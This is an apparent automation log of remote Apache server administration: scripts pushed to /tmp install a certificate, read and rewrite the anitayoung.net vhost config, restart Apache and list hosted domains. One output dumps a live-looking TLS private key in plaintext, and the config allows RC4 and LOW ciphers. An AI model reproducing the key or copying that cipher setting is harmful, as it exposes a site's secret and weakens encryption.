IZkko9uT4BSaSQNFKbQNC1iaKjqiJfvpaGeRcUEXuKsu2RY1krLgYwMV96g8OKtg
K41iyxwuMiBpDUb4FSmANiFEkxpB/ia/KskxKjJQnQIxRXXPE67Y36YIma77Y7PI
ZjHgEoQ8YKTNRFWW18uBCC1Z
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-02 11:21:52: 

chmod 755 /tmp/pkp476627; /tmp/pkp476627; rm /tmp/pkp476627

2026-02-02 11:21:53: 


dir=/etc/ssl/certs


2026-02-02 11:21:53: 

PUT: /tmp/pkp654100

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-02 11:21:53: 

chmod 755 /tmp/pkp654100; /tmp/pkp654100; rm /tmp/pkp654100

2026-02-02 11:21:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-02 11:21:53: 

PUT: /tmp/pkp469541

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi


2026-02-02 11:21:53: 

chmod 755 /tmp/pkp469541; /tmp/pkp469541; rm /tmp/pkp469541

2026-02-02 11:21:53: 




2026-02-02 11:21:53: 

PUT: /tmp/pkp883639

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-02 11:21:53: 

chmod 755 /tmp/pkp883639; /tmp/pkp883639; rm /tmp/pkp883639

2026-02-02 11:21:53: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-02 11:21:53: Establishing a connection
2026-02-02 11:21:53: 

PUT: /tmp/pkp891126

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-02 11:21:53: 

chmod 755 /tmp/pkp891126; /tmp/pkp891126; rm /tmp/pkp891126

2026-02-02 11:21:53: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-02 11:21:53: 

PUT: /tmp/pkp460105

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-02 11:21:53: 

chmod 755 /tmp/pkp460105; /tmp/pkp460105; rm /tmp/pkp460105

2026-02-02 11:21:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf	1192

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-02 11:21:53: 

PUT: /tmp/pkp302428

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-02 11:21:53: 

chmod 755 /tmp/pkp302428; /tmp/pkp302428; rm /tmp/pkp302428

2026-02-02 11:21:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt	5348
3b:ac:34:32:34:01:6b:f2:ce:c0:c0:7a:0a:2d:b2:1f

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBcPGcrvSTxFsCMZtBlI9mVFsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAyMTAyMzE5WhcNMjYwNTAzMTAyMzE4WjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKs9IcU4q7cpJFRk7fEj86RGQ0ODBdLB//WCIz4depjzFcu7BB0Q14/GbnSAxcjO
IG5f0hwq82QTcNixvhmClew22tVnN1dugOxXf6GBkBcWDck7P7dKqCOP29iMeAhL
oqaoWW3tDYazzU3m3YJqjVeHKYfSMuB+xzWNOunvy5forbwZLFMSmK1mEjzoAZVH
UvyYV06fljVcR4lFuUGWoholF0cWaqTpn14gSy8sCJq+HtxFWtmunYevExwSYZcH
VxfZAAd5slw6doX0wt/0EEYTKsD7k+o77GNyZadjMBDfLZYetYCI/JDd9a4dgK2r
RyyL81vctpKk5dNamZNRS6UCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUYa4Lf0KSEfQAO3ueRZc6P+kRV48wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEwOS5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZweFmSuAAAEAwBHMEUCIQC3
CUl/Mc7O7cHYfEo+wbyP73kdqYk94mXJe50CjuwhEAIgXCbYoS0gtW36Ne3CW2eB
1dHB347IoX2SXvGj6I1/ldgAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsU
wxRY5wAAAZweFmxaAAAEAwBGMEQCICbsMHY2/GCNsNeEi6x2/UX6cGB2/q/7FMLZ
dK8EYsvmAiBoI5I6wR2cgZT2gHPKn7BsEOWPgVOwVk+nsN+auTF/UDANBgkqhkiG
9w0BAQsFAAOCAQEAdRfgf+Ojw5pD10RFT2IBcJERg0ZpCGwUxLjldb+IwAaUtNlt
OfHhxfS/WAMKlJ4NQOIhp+LT8GnoWe7saL0JQCYul1l59G/QYGA3fW6aeWOGyDG7
a/IZy0yq/3w/byVFL7ImGUZ8UKJ/Warjwullo5/sCKDpRoB8YBnZND4z+AMMq/BM
XGmc+w20sppl/ULWW4Sl/brpdl0abCcEm8Yxp+Xjj6LE8SsaUWQwvuRZSICLWvqs
DuENN/99jEkB+NLBiUSIB4iOtR9ozQIZRiIKVfVcYvVxctarw9nKm43vQhSMPTSU
92LX2LMAsD6n6fJPWmWVg6tHp4VfVdPug7F/IA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCrPSHFOKu3KSRU
ZO3xI/OkRkNDgwXSwf/1giM+HXqY8xXLuwQdENePxm50gMXIziBuX9IcKvNkE3DY
sb4ZgpXsNtrVZzdXboDsV3+hgZAXFg3JOz+3Sqgjj9vYjHgIS6KmqFlt7Q2Gs81N
5t2Cao1XhymH0jLgfsc1jTrp78uX6K28GSxTEpitZhI86AGVR1L8mFdOn5Y1XEeJ
RblBlqIaJRdHFmqk6Z9eIEsvLAiavh7cRVrZrp2HrxMcEmGXB1cX2QAHebJcOnaF
9MLf9BBGEyrA+5PqO+xjcmWnYzAQ3y2WHrWAiPyQ3fWuHYCtq0csi/Nb3LaSpOXT
WpmTUUulAgMBAAECggEAC3wcpTkhTzYLsTtZuBgksapivYbun42SaLlzOqnIfLSl
DBZ9dqOYCZUR+G9glJC6nRyBH5GD5HznTylQqi5XdtHRCIoVLKCFNhTCQydI7jt0
7j+yjM0NjOELqjD1pfzIqmvVH6nMA/JQPT7UMXiLBUlT8D+ZWPQ30TApOOJz4brF
do+C1OSrzVmBKLWeOCCPc+4OF0QnIzXVtKhgVF+GHVq/W5z6TbcwroiSpS+4FEcF
Jj1pfpuVWBy/Z6z6VIKuyYYCG5gI7Nc8bhT5c2ik3FB0X/FFOKUq78hrMT6sSOYN
K+hGOLZQ2xAOq+M7/Udns8L8WSb7IRUKX4KaD10cEQKBgQDyEmiBoqNhGLtFxTSt
1rc8YGo950itPSjJsMQY6l6PDA2y10jgk+0oXXCQMSPEzX/qfMFlMGbsjj3eq9QM
D4lhLE2SsH+zvzf0xRS70iaBWtQzB81dYeeclv9//rPfex9xBPU7mxBUIRAtQRIV
L8zorge5EdRIvHtZXShMwKsqyQKBgQC1F2OmF/zKYH6BcLIFVlLXxKhJ13+J/F30
VpgbteYhKBM3OGzGrzMDjiPTAHULVkADqw0L0ik0ae4aO/qKcTbFtp15azx52/0L
pobFTmMbQQRlG08NNxbN1frOCFM0TfnbfuCb0qDIRdEeP3J0wFQEj07mu+Aq+Mbj
7/OZYhZr/QKBgQCOOJJ913f1y/n6++n/WG8/YcYJqKDiZ1RXaytLGCeGE6bYs/N1
PnPPi1Ze4QAK2FGXCsT1FoLh6JAhCwMCMv6bwNOyo0/j4yyU+lU8JDPLO/oAIU1e
1+6j6XMjWBmF62iFlkweQPRO+T3v2JMvL25MJjMTYI5ATbyKvFi4/1mRQQKBgGp/
B8YswygM2TisGrUS0AM+Dq3mQoXWWTaRGkDplx2WoL5Pu4CYlcqYc67pzOtO3LSL
ik+SV1MQnMrmzO9PpyNcwn0eOGF9ovGQDB/KenQTp08CYVnnNMz18tnpgWz4EmEn
21Un6A//Jvy/2UKZvI816/O7NxhuVyDDAyIH0iHNAoGBAJjyVfWTpEhsCrE+3h2Z
IZkko9uT4BSaSQNFKbQNC1iaKjqiJfvpaGeRcUEXuKsu2RY1krLgYwMV96g8OKtg
K41iyxwuMiBpDUb4FSmANiFEkxpB/ia/KskxKjJQnQIxRXXPE67Y36YIma77Y7PI
ZjHgEoQ8YKTNRFWW18uBCC1Z
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-02 16:27:09: Establishing a connection
2026-02-02 16:27:16: Establishing a connection
2026-02-02 16:27:16: 

PUT: /tmp/pkp449875

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
